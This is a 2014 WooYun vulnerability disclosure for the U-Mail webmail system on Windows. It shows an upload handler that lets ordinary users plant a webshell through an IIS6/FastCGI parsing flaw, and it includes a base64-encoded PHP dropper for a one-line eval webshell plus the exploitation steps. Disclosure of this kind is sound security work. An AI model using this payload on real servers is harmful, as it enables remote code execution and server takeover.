当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2014-61055

漏洞标题: U-Mail邮件系统普通用户权限getshell漏洞-2

相关厂商: U-Mail

漏洞作者: Ano_Tom认证白帽子

提交时间: 2014-05-19 21:53

公开时间: 2014-08-15 21:54

漏洞类型: 默认配置不当

危害等级: 中

自评Rank: 10

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-19: 细节已通知厂商并且等待厂商处理中
2014-05-22: 厂商已经确认,细节仅向厂商公开
2014-05-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-16: 细节向核心白帽子及相关领域专家公开
2014-07-26: 细节向普通白帽子公开
2014-08-05: 细节向实习白帽子公开
2014-08-15: 细节向公众公开

简要描述:

U-Mail邮件系统windows版本存在缺陷,导致普通用户getshell

详细说明:

环境说明:官网下载windows版最新版,windows server 2003+IIS6搭建、登录邮箱测试时候使用最新版chrome浏览器,需要普通用户登录

漏洞文件:

C:\umail\WorldClient\html\client\option\module\o_letterpaper.php

代码:

code 区域
if ( ACTION == "letterpaper-img-upload" )
{
$targetFolder = getusercachepath( );
$verifyToken = md5( "unique_salt".$_POST['timestamp'] );
if ( !empty( $_FILES ) || $_POST['token'] == $verifyToken )
{
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $targetFolder;
$targetFile = rtrim( $targetPath, "/" )."/letterpaper_".$_FILES['Filedata']['name'];
$fileTypes = array( "jpg", "jpeg", "gif", "png" );
$fileParts = pathinfo( $_FILES['Filedata']['name'] );
if ( in_array( $fileParts['extension'], $fileTypes ) )
{
$handle = opendir( $targetPath );
while ( ( $file = readdir( $handle ) ) !== FALSE )
{
if ( !( $file != "." ) && !( $file != ".." ) && strpos( $file, "letterpaper_" ) === FALSE )
{
$dir = rtrim( $targetPath, "/" ).DIRECTORY_SEPARATOR.$file;
unlink( $dir );
}
}
closedir( $handle );
if ( move_uploaded_file( $tempFile, $targetFile ) )
{
$thumbFile = rtrim( $targetPath, "/" )."/letterpaper_".$fileParts['filename']."_thumb.".$fileParts['extension'];
$thumbUrl = rtrim( WEBMAIL_URL, "/" )."/cache/".$user_id."/letterpaper_".$fileParts['filename']."_thumb.".$fileParts['extension'];
$targetUrl = rtrim( WEBMAIL_URL, "/" )."/cache/".$user_id."/letterpaper_".$_FILES['Filedata']['name'];
if ( img2thumb( $targetFile, $thumbFile, $width = 100, $height = 100, $cut = 1, $proportion = 0 ) )
{
dump_json( array(
"status" => 1,
"file" => $targetFile,
"fileUrl" => $targetUrl,
"thumb" => $thumbFile,
"thumbUrl" => $thumbUrl
) );
}
else
{
unlink( $targetFile );
exit( );
}
}
}
else
{
dump_json( array( "status" => 0, "msg" => "Invalid file type." ) );
}
}
}



此处为信纸的上传图片的页面,只允许jpg等图片格式的上传,由于是windows版的,可以结合iis6.0的解析漏洞,但上传成功a.php;a.jpg时候会提示错误,脚本执行错误500。然后此php是以fastcgi形式跑的,因而利用v.jpg/a.php解析漏洞。此默认安装包的php版本为

d5d1e8a2-1150-47f6-a1c2-33a076b14409.png



漏洞利用过程

准备图片木马,必须是图片,然后里面需嵌入php代码为

<?php @fwrite(fopen(base64_decode('ZnVjay5waHA='),w), base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydmdWNrJ10pOz8+'));

注意不要闭合,会报错。代码执行后会在当前目录下生成fuck.php的一句话木马

此处的图片木马为

ddd.jpg



若不是图片木马,则在执行函数的

if ( img2thumb( $targetFile, $thumbFile, $width = 100, $height = 100, $cut = 1, $proportion = 0 ) )

会出错,查看到的相应内容里不会有上传后的地址,如图

abfe8804-34c4-4705-8ecf-df0a7f3d2e87.png



chrome浏览登录邮箱后,设置代理

a4c5dae0-0077-4668-8d5a-a60beb2633f5.png



查看响应

dd.png



获得的上传后地址为,

/webmail/client/cache/5/letterpaper_v.jpg

ok,浏览器访问//webmail/client/cache/5/letterpaper_v.jpg/a.php

bb.png



官网未提供设置信纸功能,但同样可以本地提交,修改post地址获取webshell,未具体测试

官网是有解析漏洞的,如下

dw.png

漏洞证明:

如上详细描述

修复方案:

:)好多啊,你懂的

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-05-22 17:55

厂商回复:

CNVD确认并复现所述情况,由CNVD通过公开联系渠道向软件生产厂商深圳市福洽科技有限公司通报

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-05-18 19:38 | Ano_Tom 认证白帽子 ( 普通白帽子 | Rank:474 漏洞数:47 | Talk is cheap.:)
    1

    有几张图片好像没传好,应该不影响

  2. 2014-05-18 19:47 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    @Ano_Tom 大神!那是乌云的问题,最近很多图片都XX了

  3. 2014-05-18 19:49 | Ano_Tom 认证白帽子 ( 普通白帽子 | Rank:474 漏洞数:47 | Talk is cheap.:)
    0

    @U神 难怪,我以为我传的原因。:)

登录后才能发表评论,请先 登录